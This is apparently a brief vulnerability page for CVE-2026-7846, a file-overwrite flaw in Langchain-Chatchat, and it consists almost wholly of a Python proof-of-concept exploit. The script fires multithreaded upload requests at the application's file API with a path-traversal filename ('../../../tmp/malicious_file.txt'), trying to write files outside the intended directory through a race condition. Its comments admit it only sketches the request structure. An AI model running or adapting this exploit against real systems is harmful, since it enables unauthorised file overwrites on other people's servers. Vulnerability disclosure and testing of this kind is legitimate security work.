CVE-2026-7846 Langchain-Chatchat 文件覆盖漏洞

import requests import threading import os # Conceptual PoC for TOCTOU File Overwrite # Target: Langchain-Chatchat OpenAI-Compatible File Upload API target_url = "http://target-ip/api/v1/files" malicious_filename = "../../../tmp/malicious_file.txt" legitimate_filename = "safe_upload.txt" def upload_race(): """Simulates the upload request trying to exploit the race condition.""" files = {'file': (malicious_filename, 'malicious content')} # The attacker tries to force the application to write to a path # that was validated as safe but changed during the operation. response = requests.post(target_url, files=files, headers={'Authorization': 'Bearer <token>'}) print(f"Upload status: {response.status_code}") # In a real scenario, this would involve precise timing to switch # the file descriptor or path between the check and the write. # This example demonstrates the request structure. if __name__ == "__main__": # Run multiple threads to increase chance of hitting the race window threads = [] for _ in range(10): t = threading.Thread(target=upload_race) threads.append(t) t.start() for t in threads: t.join()